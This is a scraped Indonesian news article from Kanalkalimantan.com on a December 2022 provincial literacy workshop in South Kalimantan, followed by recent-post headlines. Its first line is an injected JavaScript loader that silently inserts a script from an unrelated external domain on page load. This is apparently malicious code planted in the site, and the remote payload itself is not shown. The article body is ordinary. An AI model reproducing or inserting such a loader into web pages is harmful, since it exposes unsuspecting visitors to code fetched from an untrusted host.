(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Workshop Literasi se Kalsel, Hajriansyah: PR-nya Banyak, Tapi yang Penting Dulu Orang Mau ke Perpustakaan


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan terus melakukan upaya peningkatan minat baca atau literasi ke berbagai kalangan.

Melalui Workshop Bunda Literasi Duta Baca dan Pegiat Literasi Daerah, Kamis (8/12/2022). Kepala Dispersip Kalsel Dra Hj Nurliani Dardie mengatakan, kampanye literasi harus teris menyebar ke berbagai tingkatan hingga paling bawah.

“Ini merupakan tugas kita bersama dengan melibatkan banyak pihak untuk berkolaborasi, seperti Bunda Literasi, Dinas Pemberdayaan Perempuan, Dinas PMD, pegiat literasi, para duta baca, dan pihak lainnya,” ujarnya disela workshop yang digelar di Hotel Rattan Inn, Kamis (8/12/2022).

Lebih lanjut dirinya mengatakan, program Bunda Literasi akan melebarkan sayapnya ke berbagai daerah melalui Tim Penggerak PKK yang ada di tingkat kabupaten/kota sampai ke tingkatan terbawah.

 

Baca juga  : Dugaan Korupsi BBM, Bareskrim Polri Geledah Kantor Pertamina di Banjarmasin

Narasumber workshop, pegiat literasi Banua, Hajriansyah mengatakan, masih banyak yang harus dibenahi terkait peningkatan literasi atau minat baca di Kalimantan Selatan.

Menurutnya pendekatan yang harus dilakukan untuk meningkatkan minat baca yaitu dengan mendekatkan terlebih dahulu pemuda dengan buku dan perpustakaan.

“PR-nya banyak, tapi yang penting dulu orang mau datang ke perpustakaan dan mau dekat dengan buku dulu,” katanya.

“Tapi tentu harus ada program berkelanjutan untuk meningkatkan wawasan dari hasil bacaanya,” tambah pria yang juga Ketua Dewan Kesenian Kota Banjarmasin.

Baca juga : Bupati Lamandau Serahkan Bantuan Sosial Stimulan UEP dan BLT BBM

Workshop literasi juga menghadirkan Bunda Literasi Kalsel Hj Fathul Jannah Muhidin, Kepala Dinas Pemberdayaan Masyarakat dan Desa (PMD) Kalsel Faried Fakhmansyah, dan Duta Baca Daerah Tanah Laut Shely Nova Kareza.

Kegiatan diikuti Bunda Literasi dari kabupaten/kota se Kalimantan Selatan, perwakilan Kepala Dispersip 13 kabupaten/kota se Kalsel, Ketua TP PKK se Kalsel, Duta Baca, serta sejumlah penggiat literasi.

“Kami menyambut baik ide dari Kadispersip untuk meningkatkan minat baca, dengan membangun perpustakaan yang ada di desa-desa se Kalimantan Selatan,” kata Kadis PMD Kalsel, Farid Fakhmansyah.

“Kita punya 100 desa mandiri, dan salah satu syarat desa mandiri adanya perpustakaan,” sebutnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Desy Arfianty

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

11 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

13 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

16 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

17 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

18 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

19 jam ago

This website uses cookies.